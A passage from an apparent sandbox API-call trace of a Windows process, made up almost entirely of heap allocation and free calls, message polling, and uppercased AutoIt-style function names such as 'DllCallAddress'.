lpMem=0x1077b40 | out: hHeap=0xe80000) returned 1 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055710 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0139.469] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0139.469] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0139.469] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ba0 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b40 [0139.469] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xca) returned 0xec68b0 [0139.469] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf918 [0139.469] CharUpperBuffW (in: lpsz="DllCall", cchLength=0x7 | out: lpsz="DLLCALL") returned 0x7 [0139.470] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba750 [0139.470] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077b58 [0139.470] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077bb8 [0139.470] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec68b0 | out: hHeap=0xe80000) returned 1 [0139.470] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0139.470] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0139.470] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055590 [0139.470] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077c30 [0139.470] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf918 [0139.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0139.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0139.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0139.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba750 | out: hHeap=0xe80000) returned 1 [0139.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b40 | out: hHeap=0xe80000) returned 1 [0139.471] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ba0 | out: hHeap=0xe80000) returned 1 [0139.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0139.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0139.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b40 [0139.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b58 [0139.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ba0 [0139.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf928 [0139.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ba0 | out: hHeap=0xe80000) returned 1 [0139.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0139.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0139.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055750 [0139.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b58 [0139.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf868 [0139.472] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0139.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c30 | out: hHeap=0xe80000) returned 1 [0139.472] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0139.473] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0139.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0139.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077c30 [0139.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0139.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ba0 [0139.473] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0139.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xca) returned 0xec68b0 [0139.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa38 [0139.473] CharUpperBuffW (in: lpsz="DllCallAddress", cchLength=0xe | out: lpsz="DLLCALLADDRESS") returned 0xe [0139.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba688 [0139.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077bb8 [0139.473] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077db0 [0139.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec68b0 | out: hHeap=0xe80000) returned 1 [0139.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0139.474] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0139.474] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055590 [0139.474] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cf0 [0139.474] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9f8 [0139.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0139.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0139.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077db0 | out: hHeap=0xe80000) returned 1 [0139.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0139.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ba0 | out: hHeap=0xe80000) returned 1 [0139.474] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c30 | out: hHeap=0xe80000) returned 1 [0139.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0139.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077c30 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ba0 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bb8 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf8b8 [0139.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0139.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0139.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ba0 | out: hHeap=0xe80000) returned 1 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7c78 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bb8 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9b8 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0139.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cf0 | out: hHeap=0xe80000) returned 1 [0139.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0139.475] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba8b8 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ee8 [0139.475] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0139.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077de0 [0139.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0139.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xca) returned 0xec68b0 [0139.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf958 [0139.476] CharUpperBuffW (in: lpsz="DllStructSetData", cchLength=0x10 | out: lpsz="DLLSTRUCTSETDATA") returned 0x10 [0139.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0139.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077cc0 [0139.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077cf0 [0139.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec68b0 | out: hHeap=0xe80000) returned 1 [0139.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0139.477] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0139.477] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7d18 [0139.477] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077dc8 [0139.477] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf918 [0139.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0139.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cc0 | out: hHeap=0xe80000) returned 1 [0139.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cf0 | out: hHeap=0xe80000) returned 1 [0139.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0139.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077de0 | out: hHeap=0xe80000) returned 1 [0139.477] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ee8 | out: hHeap=0xe80000) returned 1 [0139.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba8b8 | out: hHeap=0xe80000) returned 1 [0139.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.478] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077de0 [0139.478] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f60 [0139.478] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f18 [0139.478] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf928 [0139.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f18 | out: hHeap=0xe80000) returned 1 [0139.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0139.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f60 | out: hHeap=0xe80000) returned 1 [0139.478] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7cb8 [0139.478] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ea0 [0139.478] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9c8 [0139.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0139.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0139.478] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.479] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa38 [0139.479] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0139.479] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba6b0 [0139.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f60 [0139.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0139.479] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d98 [0139.479] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.479] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d98 | out: hHeap=0xe80000) returned 1 [0139.479] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f60 | out: hHeap=0xe80000) returned 1 [0139.480] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6b0 | out: hHeap=0xe80000) returned 1 [0139.481] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba750 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cd8 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9f8 [0139.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cd8 | out: hHeap=0xe80000) returned 1 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec26b8 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f48 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cd8 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0139.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cd8 | out: hHeap=0xe80000) returned 1 [0139.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0139.482] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0139.482] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0139.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0139.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0139.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0139.483] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0139.483] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0139.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0139.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0139.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0139.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0139.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0139.484] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0139.484] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0139.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0139.484] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0139.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0139.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0139.485] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0139.485] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0139.485] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.485] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0139.485] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0139.485] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0139.486] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.486] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0139.486] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0139.486] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb10 [0139.486] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.486] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb10 | out: hHeap=0xe80000) returned 1 [0139.487] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0139.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0139.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0139.487] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.487] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0139.487] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0139.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0139.487] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.487] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0139.488] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0139.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0139.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0139.488] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.488] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0139.488] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0139.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0139.488] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0139.489] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0139.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0139.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0139.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0139.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0139.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0139.489] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.490] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0139.490] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.490] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0139.490] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0139.490] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0139.490] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.490] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.490] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0139.490] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0139.490] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.490] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0139.490] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.490] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0139.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0139.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 